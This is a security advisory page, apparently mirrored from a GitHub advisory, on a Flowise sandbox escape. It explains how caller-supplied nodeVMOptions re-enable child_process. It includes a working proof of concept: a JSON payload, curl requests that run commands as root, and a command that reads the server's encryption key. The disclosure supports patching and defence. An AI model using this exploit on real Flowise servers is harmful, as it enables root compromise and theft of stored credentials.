Crítica

Flowise: RCE via NodeVM Sandbox Escape in executeJavaScriptCode() nodeVMOptions Override

  • Publicada: 04.08.2026
  • Actualizado: 11.10.2026 10:22

Summary

A sandbox escape vulnerability in executeJavaScriptCode() allows any authenticated user to execute arbitrary system commands as root on the Flowise server. The function accepts caller-provided nodeVMOptions that override the default sandbox security settings via JavaScript's spread operator, allowing an attacker to re-enable blocked modules like child_process and fs.

Details

The vulnerability is in packages/components/src/utils.ts at line 1755:

ts
const finalNodeVMOptions = { ...defaultNodeVMOptions, ...nodeVMOptions }

The executeJavaScriptCode() function (line 1569) creates a NodeVM sandbox with secure defaults that restrict which Node.js built-in modules can be required:

async (code, sandbox, options = {}) => {
    const { nodeVMOptions = {} } = options;
    // ...
    const defaultNodeVMOptions = {
        require: {
            builtin: builtinDeps,  // restricted allowlist — blocks child_process, fs, os, etc.
            mock: secureWrappers
        },
        eval: false,
        wasm: false
    }
    const finalNodeVMOptions = { ...defaultNodeVMOptions, ...nodeVMOptions }  // ← VULN: caller overrides security settings
    const vm = new NodeVM(finalNodeVMOptions)
}

The spread operator allows any caller to override require.builtin with ["*"], which permits all Node.js built-in modules including child_process.

Taint 01: Route Registration
packages/server/src/routes/node-custom-functions/index.ts (line 8)

Taint 02: Controller
executeCustomFunction() passes req.body to service — packages/server/src/controllers/nodes/index.ts (line 90)

Taint 03: Service executeCustomNodeFunction() loads the customFunction node and calls init() with user-provided javascriptFunction — packages/server/src/utils/executeCustomNodeFunction.ts (line 49)

Taint 04: Sandbox Entry
Code runs inside NodeVM via executeJavaScriptCode() — packages/components/src/utils.ts (line 1760)

Taint 05: Escape Inside the sandbox, the attacker requires flowise-components/dist/src/utils.js by absolute path (bypassing the module allowlist), obtaining a reference to executeJavaScriptCode() itself

Taint 06: Override The attacker calls executeJavaScriptCode() with nodeVMOptions: { require: { builtin: ["*"] } }, which overrides the security defaults at line 1755: { ...defaultNodeVMOptions, ...nodeVMOptions }

Taint 07: RCE
Inside the nested VM, require("child_process") succeeds. Arbitrary commands execute as root.

PoC

Step 1: Start Flowise

bash
docker run -d --name flowise-poc -p 3000:3000 \
  -e PORT=3000 -e DISABLE_FLOWISE_TELEMETRY=true \                                                                                                                                                                                         
  flowiseai/flowise:latest                                                                                                                                                                                                                 
                                                                                                                                                                                                                                           
# Wait ~30s for startup                                                                                                                                                                                                                    
curl http://localhost:3000/api/v1/version
# {"version":"3.1.1"}

Step 2: Obtain Bearer Token

Register an account, then create an API key:

bash
# Register      
curl -s -X POST http://localhost:3000/api/v1/account/register \
  -H "Content-Type: application/json" \
  -d '{"user":{"email":"attacker@test.com","password":"Attack12345","name":"Attacker"}}'                                                                                                                                                   
                                                                                                                                                                                                                                           
# Create API key (via the UI at http://localhost:3000 → Settings → API Keys → Create)                                                                                                                                                      
# Copy the key — this is the Bearer token used below.

Step 3: Create Payload

bash
cat > exploit.json << 'EOF'
{
  "javascriptFunction": "const utils = require('/usr/local/lib/node_modules/flowise/node_modules/flowise-components/dist/src/utils.js'); const code = 'const cp = require(\"child_process\"); cp.execSync(\"id > /tmp/RCE-PROOF.txt\");    
return cp.execSync(\"id\").toString()'; return await utils.executeJavaScriptCode(code, {}, { nodeVMOptions: { require: { builtin: [\"*\"] } } })"                                                                                          
}                                                                                                                                                                                                                                          
EOF

Step 4: Exploit

bash
# Pre-check: file does not exist
docker exec flowise-poc ls -l /tmp/RCE-PROOF.txt                                                                                                                                                                                           
# ls: /tmp/RCE-PROOF.txt: No such file or directory                                                                                                                                                                                        
                                                                                                                                                                                                                                           
# Execute                                                                                                                                                                                                                                  
curl -X POST http://localhost:3000/api/v1/node-custom-function \
  -H "Content-Type: application/json" \                                                                                                                                                                                                    
  -H "Authorization: Bearer <TOKEN>" \
  -d @exploit.json                                                                                                                                                                                                                         
# "uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)...\n"                                                                                                                                                             
                                                                                                                                                                                                                                           
docker exec flowise-poc ls -l /tmp/RCE-PROOF.txt                                                                                                                                                                                           
# -rw-r--r--  1 root  root  138 Apr  2 05:02 /tmp/RCE-PROOF.txt                                                                                                                                                                            
                                                                                                                                                                                                                                           
docker exec flowise-poc cat /tmp/RCE-PROOF.txt                                                                                                                                                                                             
# uid=0(root) gid=0(root) groups=0(root)...                                                                                                                                                                                                
                                                                                                                                                                                                                                           
docker exec flowise-poc cat /root/.flowise/encryption.key
# GI6doXdDjU0JTxgUsUoft5E+A0TS9qFb
<img width="1919" height="1033" alt="image" src="https://github.com/user-attachments/assets/3a2473f0-75a7-4c01-8c9d-9c758cf957fc" />

Impact

Full remote code execution as root. Any authenticated user with a valid API key can execute arbitrary system commands on the host, read any file on the filesystem including the encryption key at /root/.flowise/encryption.key (which
decrypts every stored credential - API keys, OAuth tokens, database passwords) and the JWT signing secret at /root/.flowise/jwt_auth_token_secret.key (which allows forging authentication tokens for any user), and establish persistent access via cron jobs or reverse shells. All Flowise deployments running >= 3.0.5 through 3.1.1 (latest) are affected.

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Paquete de npm flowise < 3.1.3 3.1.3
Paquete de npm flowise-components < 3.1.3 3.1.3

Referencias

Puntuación CVSS -
Vector CVSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Debilidad (CWE)
CWE-94
Plataforma
npm
Paquete
flowise, flowise-components
Publicada
04.08.2026
Actualizado
11.10.2026 10:22

Fuentes y licencias

OSV / GitHub Advisory Database - GHSA-3769-jgqc-cxm7 - CC BY 4.0

Historial de vulnerabilidades: flowise

Todas las vulnerabilidades publicadas de este paquete (Paquete de npm), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Todas (114) en el archivo
Entradas en total
114
Primera → última
04.2024 10.2026
Sin corrección
16
Explotada en ataques
0

Distribución por gravedad

  • Crítica 28
  • Alta 62
  • Media 24

Divulgaciones por año

  1. 2024: 11
  2. 2025: 22
  3. 2026: 81
Gravedad:
  1. Crítica CVE-2026-69259 < 3.1.3 3.1.3
  2. Crítica CVE-2026-69256 < 3.1.3 3.1.3
  3. Flowise: RCE via NodeVM Sandbox Escape in executeJavaScriptCode() nodeVMOptions Override esta entrada
    Crítica CVE-2026-69254 < 3.1.3 3.1.3
  4. Crítica CVE-2026-69253 < 3.1.3 3.1.3
  5. Crítica CVE-2026-69251 < 3.1.3 3.1.3
  6. Alta · 8.8 CVE-2026-46444 < 3.1.2 3.1.2
  7. Alta CVE-2026-46443 < 3.1.2 3.1.2
  8. Alta CVE-2026-56274 < 3.1.2 3.1.2
  9. Alta · 7.5 CVE-2026-46440 < 3.1.2 3.1.2
Mostrar más (20) Mostrando 40 de 90

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.